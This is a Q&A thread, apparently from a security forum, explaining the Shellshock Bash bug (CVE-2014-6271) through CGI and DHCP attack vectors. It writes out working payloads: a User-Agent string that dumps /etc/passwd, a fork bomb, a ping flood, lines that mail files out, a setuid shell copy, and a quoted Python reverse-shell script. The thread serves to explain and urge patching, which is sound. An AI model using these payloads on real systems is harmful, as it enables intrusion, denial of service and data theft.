What is a specific example of how the Shellshock Bash bug could be exploited?

  • I read some articles (article1, article2, article3, article4) about the Shellshock Bash bug (CVE-2014-6271 reported Sep 24, 2014) and have a general idea of what the vulnerability is and how it could be exploited. To better understand the implications of the bug, what would be a simple and specific example of an attack vector / scenario that could exploit the bug?

    @Gilles you created a feedback loop, gj

    For anyone looking to understand a complete apache web server attack scenario including how an attacker without SSH access could even get to Bash in the first place, see also How do I secure Apache against the Bash Shellshock vulnerability? which discusses some potentially surprising ways Apache uses Bash. **tldr;** there's several, so patch Bash.

  • mgjk

    mgjk Correct answer

    6 years ago

    A very simple example would be a cgi, /var/www/cgi-bin/test.cgi:

    echo "Content-type: text/plain"
    echo "Hi"

    Then call it with wget to swap out the User Agent string. E.g. this will show the contents of /etc/passwd:

    wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

    To break it down:

    "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"

    Looks like:

    () {
    echo \"Content-type: text/plain\"
    /bin/cat /etc/passwd

    The problem as I understand it is that while it's okay to define a function in an environment variable, bash is not supposed to execute the code after it.

    The extra "Content-type:" is only for illustration. It prevents the 500 error and shows the contents of the file.

    The above example also shows how it's not a problem of programming errors, even normally safe and harmless bash cgi which doesn't even take user input can be exploited.

    Very nice @mgjk. Simple and specific, just what I was looking for. Thanks!

    Thanks, this was useful. Also, it should be "/var/www/cgi-bin/testing.cgi" to match the wget example (but we get the picture). If patched, I'd presume the downloaded file will just say "Hi", correct?

    Kind of amazed a "shell shock" worm hasn't gotten moving already, that's an insanely simple vector and there's got to be pre built scripts to do the rest of the work after the exploit. Or am I missing something?

    Not only bash CGI scripts are vulnerable. If the system shell /bin/sh is bash, any CGI script in any language which calls system(3) to run another command, or otherwise uses /bin/sh, is vulnerable. e.g. a perl CGI script containing \`ls | wc -l\` is be vulnerable.

    @SamWatkins I tried this against a php system("/usr/bin/ls") call, but could not generate any unusual behaviour. I've heard your claim elsewhere too, have you been able to exploit it?

    Great explanation. What's the role of the semicolon i've seen inside the function block in the most classical examples?

    The semicolon replaces a newline so that it can fit on one line. The semicolons are unnecessary if you can replace them with newlines.

    `call it with wget to swap out the User Agent string` - could you explain that part of it in a bit more detail ? ie how/why is something in the header of the GET request being executed by bash ?

    The environment variables are made available to bash verbatim as part of the CGI design. http://tools.ietf.org/html/draft-robinson-www-interface-00 bash allows function definitions in environment variables, but the bug causes code after the function definition to be executed. It's as ridiculous as it sounds.

    `The environment variables are made available to bash verbatim as part of the CGI design.` so somewhere there is a `var userAgent = headers["User-Agent"]` ?

    That's roughly it, see the IETF doc, p8, HTTP_*. N.b. there are a bunch of others in the HTTP_* group which I haven't tried, but should also work, like HTTP_ACCEPT, HTTP_ACCEPT_ENCODING, HTTP_ACCEPT_LANGUAGE...

    @mgjk, when attempting to reproduce the issue behind a system() call, did you check that your /bin/sh really was provided by bash, and not dash or another implementation?

    @rubo77 The CGI exploit against shellshock is just one attack vector. Another vector is the DHCP client for Linux systems. I expect there will be more. The above example is only for cgi. It's best not to assume we know all the vectors.

    @CharlesDuffy that's a good point. I checked it and it is /bin/sh, which is a symlink to /bin/bash. But even if it was bash, this method would not work because the environment variables were not passed to the shell in my test. (for an out-of-box Redhat 6.5). If you find otherwise, please let me know.

    @mgjk, perl executes simple commands directly without using the shell, perhaps newer php does the same. The old php 5.2.5 I have here does use system(3) and /bin/sh to run even simple commands such as system("/bin/ls"). If you are on Debian, Ubuntu, Mint or similar, your /bin/sh is dash, not bash, so using system("...") won't show the bug unless you are running an actual #!/bin/bash script (of where there are many). dhclient is vulnerable in almost every distro, as dhclient-script is a #!/bin/bash script.

    If you do a system("set") it shows the interpreter and the full set of environment variables. My Debian box has a few years on it and is running Squeeze LTS which uses bash.

    Just curious, does the server run as root? If not, it may not be able to fetch "/etc/passwd" or allow other more vulnerable exploits.

    Most apps need access to read /etc/passwd. It's very unusual to restrict it, this goes *way* back but it might be interesting, from the time when /etc/shadow was being introduced on Slackware: http://www.tldp.org/HOWTO/Shadow-Password-HOWTO-2.html They give an example of the 'ls' command unable to show usernames.

  • With access to bash, even from the POV of a web user, the options are endless. For example, here's a fork bomb:

    () { :; }; :(){ :|: & };:

    Just put that in a user agent string on a browser, go to your web page, and instant DoS on your web server.

    Or, somebody could use your server as an attack bot:

    () { :; }; ping -s 1000000 <victim IP>

    Put that on several other servers and you're talking about real bandwidth.

    Other attack vectors:

    # theft of data
    () { :; }; find ~ -print | mail -s "Your files" [email protected]
    () { :; }; cat ~/.secret/passwd | mail -s "This password file" [email protected]
    # setuid shell
    () { :; }; cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash

    There's endless other possibilities: reverse shells, running servers on ports, auto-downloading some rootkit to go from web user to root user. It's a shell! It can do anything. As far as security disasters go, this is even worse than Heartbleed.

    The important part is that you patch your system. NOW! If you still have external-facing servers that are still unpatched, what are you doing still reading this?!

    Hackers are already doing these things above, and you don't even know it!

    have you actually _tried_ those exploits (especially the first example) or are you just hypothesizing they work? I'm asking because I tried those on a vulnerable Ubuntu precise and nada...

    That's a good answer, but I'm not sure it exactly answers the question. How might a web user exploit this through a browser?

    TimC: Simply by setting the string as a user agent, or a cookie, or any number of CGI variables that would end up in the environment. From there, if the web page calls bash, like in a system call to execute an external command, the payload is ran.

    @lightxx You need to execute this on a server that actually runs bash, i.e., on some URL handled with CGI.

    I guess there is no way to know whether a page will actually use bash though? For normal things like GET/POST parameters, these are probably handled with client side scripts rather than having to anything in the OS so may not use bash, is that correct?

    Why would you ever store user input in an environment variable anyway? I can't think of any scenario where I would want to do that...

    @lightxx http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/ "Ubuntu and other Debian-derived systems that use Dash exclusively are not at risk – Dash isn't vulnerable, but busted versions of Bash may well be present on the systems anyway. It's essential you check the shell interpreters you're using, and any Bash packages you have installed, and patch if necessary. "

    @Ajedi32 the "old" CGI protocol communicates entirely with environment variables, it will put e.g. HTTP_USER_AGENT into a variable. So if that is set on the client side, it could pass the attack.

    @TimC it might also work if the server side scripts (e.g. php) call an external program, bash may get called (e.g. a system command for ImageMagick or for sendmail).

    @AlexLehmann Ah that makes sense. My experience is primarily working with Ruby on Rails apps, so I hadn't considered that HTTP headers might need to be passed to external CGI scripts as environment variables.

    This answer could probably benefit from a more thorough explanation of the exploit itself. E.g. How could putting these strings in your user agent result in them being executed by bash?

    Are your "theft of data" examples backwards, or is there something in this vulnerability that actually reverses how the pipe works?

    Wait why is the user agent even put inside an environment variable, as opposed to passing it as an argument to the CGI executable? (Which would reduce the exploitability of the bug as far as I can tell. I don't know much about CGI.)

    @jco because that's how CGI works. Back when CGI was created, this bug didn't exist yet, so people weren't thinking about reducing harm from it :) If they were worried about security at all, they were probably fretting about the fact that ssh didn't exist yet.

    @PeterRecore Thanks that's what I suspected. Still, seems to me that command line arguments would be the more logical way of passing this information.

    @jco, in general, environment variables (when the attacker can't set arbitrary names -- as, indeed, they can't for CGI) aren't a vector for code injection any more than command-line arguments are... until you get a bug like this.

    @CharlesDuffy Well I'd argue that they are. Arguments are completely handled by the program they are passed to - but with variables, there are multiple programs that can interact with them - thus increasing the attack surface. But my point was a common sense **engineering** question though - as this seems to be what arguments are *for*. I was not really talking about the bug, but about the CGI protocol itself, and this weird practice.

    @jco Environment variables are conventionally accessed via a key/value interface, even though on UNIX they're implemented as a flat list of pairs. Exposing "meta-variables" (as RFC 3875 calls them) via a key/value interface avoids placing any additional implementation-complexity burden on the receiver to be able to parse and handle them in a forward-compatible manner. The RFC specifies that any implementation-defined metavariables not given in the standard be prefixed with `X-CGI-`, meaning that they can't be used to set arbitrary contents (overriding `LD_PRELOAD` or the like).

    @jco This implementation choice also makes it much easier to write interfaces compatible with CGI that _don't_ involve re-`exec`'ing a process (see FastCGI and the like); it's simpler to change environment variables in an already-existing process image than it is to arbitrarily modify argv (which requires the initial value of argv to be padded, and is generally an OS-dependent operation).

    @CharlesDuffy Thank you for the information. Essentially it's easier to parse that as key-value pairs, and more convenient to change them while the process is running, correct? I've kind of made a mistake up there when I suggested using arguments, because servers aren't usually restarted for each request - don't know what I was thinking.

    @jco, ...well, traditional/original/baseline CGI actually _does_ start a new process for each request, so for the way things used to be done using argv would indeed have been feasible. However, indeed, modern variants on it (caring more about performance than process isolation) frequently no longer do so.

    @CharlesDuffy Yeah that's how I naively supposed they still worked. Just start the executable and pass it stuff. But apparently it's more complex than that, now at least...

  • It's not just servers; client software can be affected as well. Here is an example of a vulnerable DHCP client. If a machine has such a vulnerable client (and broken bash), any machine on the subnet can send malformed DHCP responses and get root privileges.

    Given the widespread use of environment variables to share state between processes in Unix and the amount of software potentially involved, the attack surface is very large. Do not think that your machine is safe because you don't run a web server. The only fix is to get bash patched, consider switching to a less-complex default shell (such as dash), and hope that there aren't a lot more similar vulnerabilities out there.

    The DHCP exploit concerns me far more, frankly. Every distro I have experience with runs the web service as a non-privileged user, so the damage is constrained to unprotected files (/etc/passwd sounds scary but it's not much more than the list of users - that can provide an attack vector for password guessing, but...) and the web service itself (I don't run one). But probably every DHCP client runs as root, and everybody runs one. This would be a huge issue in a public WiFi hotspot, unless it fences the guests from each other.

  • You don't need to be using bash explicitly for this to be an issue. The real problem is allowing attackers to have a say in the value of environment variables. After the environment is set, it's only a matter of time before some shell gets executed (maybe unknown to you) with an environment it was not prepared for.

    Every program (bash, java, tcl, php, ...) has this signature:

    int main(int argc, char** argv, char** arge);

    Developers are in a habit of checking argc and argv for cleanliness. Most will ignore arge and make no attempt to validate it before spawning subshells (explicitly or implicitly). And in this case bash is not correctly defending itself from bad input. In order to wire an application together, subprocesses get spawned. At the bottom of it, something like this happens:

    //We hardcoded the binary, and cleaned the arg, so we assume that
    //there can be no malicious input - but the current environment is passed
    //in implicitly.
    execl("/bin/bash", "bash", "-c", "/opt/initTech/bin/dataScrape", cleanedArg, NULL);

    In your own code, there may be no references to bash. But perhaps you launch tcl, and something deep inside the tcl code launches bash for you. It would inherit the environment variables that are currently set.

    In the case of the vulnerable version of bash, something like this is happening:

    int main(int argc, char** argv, char** arge) { //bash's main function
        parseEnvironment(arge); //!!!! read function definitions and var defines
        doArgv(argc, argv);

    Where parseEnvironment sees a bunch of environment variable definitions that it doesn't necessarily even recognize. But it will guess that some of these environment variables are function definitions:

    HTTP_COOKIE=() { :; }; /usr/bin/eject

    Bash has no idea what an HTTP_COOKIE is. But it begins with (), so bash guesses that this is a function definition. It also helpfully allows you to add some immediately executed code after the function definition, because perhaps you need to initialize some side effects with your function definition. The patch removes the capability to add side effects after the function definition.

    But the whole idea that an environment variable can lie dormant with attacker supplied function definition in it is still highly unsettling!

    recieve='() { echo you meant receive lol; }'

    If the attacker can cause this variable name to get a value that it supplied, and also knows that it can wait for a bash subprocess to try to invoke a function by that name, then this would be another attack vector.

    This is just the old admonition to validate your inputs. Since shells may get spawned as a surprising implementation detail, never set an environment variable to a value that is not tightly validated. That means that any possible program that reads this environment variable won't do something unexpected with the value; such as execute it as code.

    Today it is bash. Tomorrow it's java, sh, tcl, or node. They all take an environment pointer into their main function; and they all have different limitations on what they will safely handle (until they are patched).

    That's right. The moral of the story is **never** trust user input.

    I thought allowing someone to set environment variables and functions was intentional, and the bug was that _in addition_ code would b executed? Ok, setting environment functions sounds dangerous, but that's not the shellshock bug - it's a "feature".

    If you updated on Friday, it took the ability to just add the immediate code after the function definition. If you updated again, it takes away the ability to do this as well (good!): x='() { echo foo; }' bash -c foo

  • Here's an example through a CGI script for a remote attack, untested - Taken from http://pastebin.com/166f8Rjx

    Like all exploits it relies on circumstances. Connects to a remote cgi file on the web-server and launches a reverse shell

    () { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]

    #CVE-2014-6271 cgi-bin reverse shell
    import httplib,urllib,sys
    if (len(sys.argv)<4):
        print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
        print "Example: %s localhost /cgi-bin/test.cgi" % sys.argv[0]
    conn = httplib.HTTPConnection(sys.argv[1])
    reverse_shell="() { ignored;};/bin/bash -i >& /dev/tcp/%s 0>&1" % sys.argv[3]
    headers = {"Content-type": "application/x-www-form-urlencoded",
        "test":reverse_shell }
    res = conn.getresponse()
    print res.status, res.reason
    data = res.read()
    print data

License under CC-BY-SA with attribution

Content dated before 6/26/2020 9:53 AM